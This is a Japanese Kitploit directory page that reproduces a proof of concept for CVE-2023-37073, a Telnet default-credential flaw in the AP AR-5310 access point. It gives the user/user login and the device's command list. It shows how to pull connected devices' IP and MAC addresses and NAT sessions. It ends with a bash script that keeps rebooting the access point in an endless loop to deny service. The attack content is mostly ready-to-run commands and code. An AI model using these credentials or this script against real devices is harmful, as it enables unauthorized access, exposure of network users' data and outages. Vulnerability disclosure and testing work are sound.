Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-37073 — Telnetのデフォルト認証情報は、情報漏洩やサービス拒否(DoS)攻撃を引き起こす可能性があります。 | Kitploit
ツール/GitHubGitHub/hamza0x/cve-2023-37073
IoTセキュリティパスワード攻撃エクスプロイト情報収集ハードウェアとIoTセキュリティ
GitHubhamza0x/cve-2023-37073

CVE-2023-37073

Telnetのデフォルト認証情報は、情報漏洩やサービス拒否(DoS)攻撃を引き起こす可能性があります。

リポジトリを見る
2年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-37073

Telnetのデフォルト認証情報により、情報漏洩やサービス拒否(DoS)攻撃が発生する可能性があります。

再現手順

これはAP AR-5310に影響します。

root@kitploit:~
  Telnet 192.168.1.1
  username:user
  password:user
  その後、Boom... ログインできました

Telnetのデフォルト認証情報による情報漏洩

root@kitploit:~
    Telnetサービスにログインしたら、
    コマンド「help」または「?」を入力すると、
    利用可能なオプションが表示されます。
    
    > reboot, ping, lanhosts, passwd
  
    > restoredefault, nslookup, traceroute
  
    > save, uptime, exitOnIdle, wan, version,
  
    > serialnumber, modelname, tr69cfg, nat

root@kitploit:~
  ネットワークに接続されている各デバイスのIPアドレスとMACアドレスを取得するには、
  コマンド「lanhosts」を実行します。
  アクセスポイント(AP)を経由するすべてのNATセッションを表示するには、
  コマンド「nat show session」を使用します。

DoS攻撃

root@kitploit:~
  サービス拒否(DoS)攻撃を実行するには、
  コマンド「reboot」を実行してAPを再起動します。
  APを一貫して再起動させるスクリプトを自動化したいと思います。

シェルスクリプトによるDoS攻撃の自動化

root@kitploit:~
#!/bin/bash

# Telnet credentials
USER="user"
PASSWORD="user"
HOST="192.168.1.1"

# Function to check host availability
check_host_availability() {
    ping -c 1 -W 1 "$HOST" > /dev/null 2>&1
    return $?
}

# Loop to check host availability and execute Telnet command when available
while true; do
    if check_host_availability; then
        echo "Host $HOST is reachable. Initiating Telnet connection and reboot..."
        { sleep 1; echo "$USER"; sleep 1; echo "$PASSWORD"; sleep 1; echo "reboot"; sleep 1; } | telnet "$HOST"
    else
        echo "Host $HOST is not reachable. Retrying in 10 seconds..."
        sleep 10
    fi
done
ツールをダウンロード